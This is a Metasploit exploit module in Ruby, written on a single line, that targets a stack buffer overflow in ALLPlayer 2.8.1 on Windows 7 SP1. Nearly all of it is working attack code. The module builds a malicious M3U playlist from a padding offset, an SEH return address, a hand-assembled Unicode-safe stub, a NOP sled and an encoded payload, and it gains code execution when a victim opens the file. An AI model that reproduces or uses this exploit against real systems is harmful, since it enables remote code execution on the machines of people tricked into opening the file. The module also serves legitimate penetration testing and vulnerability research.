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## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'ALLPlayer M3U Buffer Overflow', 'Description'=> %q{ This module exploits a stack-based buffer overflow vulnerability in ALLPlayer 2.8.1, caused by a long string in a playlist entry. By persuading the victim to open a specially-crafted .M3U file, a remote attacker could execute arbitrary code on the system or cause the application to crash. This module has been tested successfully on Windows 7 SP1. }, 'License'=> MSF_LICENSE, 'Author' => [ 'metacom',# Vulnerability discovery 'Mike Czumak',# Original exploit 'Gabor Seljan'# Metasploit module ], 'References' => [ [ 'BID', '62926' ], [ 'BID', '63896' ], [ 'EDB', '28855' ], [ 'EDB', '29549' ], [ 'EDB', '29798' ], [ 'EDB', '32041' ], [ 'OSVDB', '98283' ], [ 'URL', 'http://www.allplayer.org/' ] ], 'DefaultOptions' => { 'ExitFunction' => 'process' }, 'Platform' => 'win', 'Payload'=> { 'DisableNops'=> true, 'BadChars' => "\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f", 'Space'=> 3060, 'EncoderType'=> Msf::Encoder::Type::AlphanumUnicodeMixed, 'EncoderOptions' => { 'BufferRegister' => 'EAX' } }, 'Targets'=> [ [ ' ALLPlayer 2.8.1 / Windows 7 SP1', { 'Offset' => 301, 'Ret'=> "\x50\x45",# POP POP RET from ALLPlayer.exe 'Nop'=> "\x6e" # ADD BYTE PTR DS:[ESI],CH } ] ], 'Privileged' => false, 'DisclosureDate' => 'Oct 09 2013', 'DefaultTarget'=> 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']) ], self.class) end def exploit nop = target['Nop'] sploit =rand_text_alpha_upper(target['Offset']) sploit << "\x61\x50"# POPAD sploit << target.ret sploit << "\x53"# PUSH EBX sploit << nop sploit << "\x58"# POP EAX sploit << nop sploit << "\x05\x14\x11"# ADD EAX,0x11001400 sploit << nop sploit << "\x2d\x13\x11"# SUB EAX,0x11001300 sploit << nop sploit << "\x50"# PUSH EAX sploit << nop sploit << "\xc3"# RET sploit << nop * 109 sploit << payload.encoded sploit << rand_text_alpha_upper(10000) # Generate exception # Create the file print_status("Creating '#{datastore['FILENAME']}' file ...") file_create("http://" + sploit) end end |
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